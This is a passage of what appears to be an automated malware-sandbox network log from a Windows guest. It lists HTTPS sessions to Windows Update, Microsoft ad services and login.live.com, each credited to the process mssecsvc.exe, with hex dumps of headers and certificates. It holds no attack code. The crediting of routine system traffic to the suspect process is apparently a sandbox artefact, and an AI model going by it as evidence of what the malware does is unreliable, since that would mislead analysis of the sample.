52	192.168.2.6	52200	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:35 UTC	8991	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:36 UTC	8992	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 7198cf85-234a-4214-bb37-8b6487968d25 MS-RequestId: 81c5dbbc-fb2c-4f0a-8d96-a42f7ad9416a MS-CV: ZnPzZulDwE2C3PfA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:35 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:36 UTC	8992	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:36 UTC	9008	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:36 UTC	9024	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	52205	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:36 UTC	8991	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113503Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:36 UTC	9027	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d5439112-5bd9-4f7e-ae02-c877d8879072 Date: Thu, 21 Jul 2022 02:35:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	52250	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:36 UTC	9028	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113504Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:36 UTC	9028	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d388dd76-bd6b-47ed-a5e4-d95c8852f2e0 Date: Thu, 21 Jul 2022 02:35:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	52251	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:36 UTC	9028	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:37 UTC	9029	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 7198cf85-234a-4214-bb37-8b6487968d25 MS-RequestId: 81c5dbbc-fb2c-4f0a-8d96-a42f7ad9416a MS-CV: ZnPzZulDwE2C3PfA.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:36 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:37 UTC	9030	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:37 UTC	9045	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-21 02:35:37 UTC	9061	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	52255	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:36 UTC	9029	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113506Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:36 UTC	9029	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a393f5d3-f4e3-4571-a102-454e5c39ac4d Date: Thu, 21 Jul 2022 02:35:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	52259	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:37 UTC	9065	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113507Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:37 UTC	9065	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 64c04ba6-ae0b-4af6-b68e-fa383a10b457 Date: Thu, 21 Jul 2022 02:35:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	52285	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:37 UTC	9066	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T113508Z&asid=e941bfdf0cf74516aa2bf7a65612c676&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:37 UTC	9066	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 947b1e4d-37e9-43c1-add6-e8adc6813ea4 Date: Thu, 21 Jul 2022 02:35:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	52320	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:38 UTC	9066	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:38 UTC	9067	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: bfb32dd9-1b04-4b96-8cb9-8ceefec39c94 MS-RequestId: dd49c335-bc49-42c6-b76c-5c2c0d2e6a99 MS-CV: ejr6OGWl0EChl7a+.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:38 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:38 UTC	9067	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:38 UTC	9083	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:38 UTC	9099	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	50200	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	110	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4794 Host: login.live.com
2022-07-21 02:34:22 UTC	110	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:34:22 UTC	141	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 4b90f451-ba14-45a9-a0ac-f700e2557e31 PPServer: PPV: 30 H: BL02PF1C47A3E59 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close Content-Length: 11069
2022-07-21 02:34:22 UTC	142	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	52365	20.40.136.238	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:39 UTC	9102	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1522 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-21 02:35:39 UTC	9102	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 31 34 33 31 37 30 33 37 34 39 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 39 36 37 43 35 37 35 46 43 41 41 35 34 35 45 38 42 30 32 33 32 39 32 36 33 34 41 36 44 46 39 33 26 41 53 49 44 3d 30 35 30 62 61 61 34 66 61 30 66 32 34 65 61 37 39 32 37 62 36 65 39 63 64 66 37 37 34 32 36 32 26 54 49 4d 45 3d 32 30 32 32 30 37 32 31 54 31 31 33 35 31 37 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 31 54 30 32 33 34 33 30 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 30 32 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=1431703749&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=967C575FCAA545E8B023292634A6DF93&ASID=050baa4fa0f24ea7927b6e9cdf774262&TIME=20220721T113517Z&SLOT=1&REQT=20220721T023430&MA_Score=2&PERSID=02
2022-07-21 02:35:39 UTC	9104	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 21 Jul 2022 02:35:38 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	52362	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
